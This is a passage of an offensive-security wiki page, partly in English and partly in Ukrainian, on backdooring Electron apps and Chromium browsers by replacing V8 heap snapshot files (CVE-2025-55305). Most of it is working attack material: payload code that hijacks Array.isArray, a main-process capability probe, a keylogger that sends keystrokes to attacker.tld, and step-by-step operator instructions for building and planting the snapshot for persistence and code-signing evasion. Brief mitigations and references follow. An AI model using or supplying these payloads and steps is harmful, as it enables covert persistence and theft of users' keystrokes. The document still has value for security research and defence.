- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
|
||||
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
// Replace the application’s v8_context_snapshot.bin with the generated file
|
||||
|
||||
const orig = Array.isArray;
|
||||
|
||||
// Use Array.isArray as a ubiquitous gadget
|
||||
Array.isArray = function () {
|
||||
// Executed whenever the app calls Array.isArray
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Виявлення головного процесу: глобальні змінні лише для Node, такі як process.pid, process.binding(), або process.dlopen, присутні в ізоляції головного процесу.
|
||||
- Виявлення Browser/renderer: глобальні змінні лише для Browser, такі як alert, доступні при виконанні в документному контексті.
|
||||
|
||||
Приклад гаджета, який один раз перевіряє можливості Node у головному процесі
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
Array.isArray = function() {
|
||||
// Defer until we land in main (has Node process)
|
||||
try {
|
||||
if (!process || !process.pid) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
// Run once
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
console.log('[payload] isArray hook started ...');
|
||||
|
||||
// Capability probing in main
|
||||
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
|
||||
process.exit(0);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
PoC викрадення даних у Renderer/browser-context (наприклад, Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
// Wait for a browser context
|
||||
try {
|
||||
if (!alert) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
setInterval(() => {
|
||||
window.onkeydown = (e) => {
|
||||
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Operator workflow
|
||||
1) Напишіть payload.js, який clobbers поширений builtin (наприклад, Array.isArray) і опційно розгалужується по isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Перезапишіть snapshot-файл(и) цільового додатка:
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Запустіть додаток; gadget виконується щоразу, коли використовується вибраний builtin.
|
||||
|
||||
Notes and considerations
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
|
||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
||||
|
||||
Detection and mitigations
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
|
||||
## **References**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
|
||||
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
|
||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- Більше досліджень та статей про безпеку Electron на [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user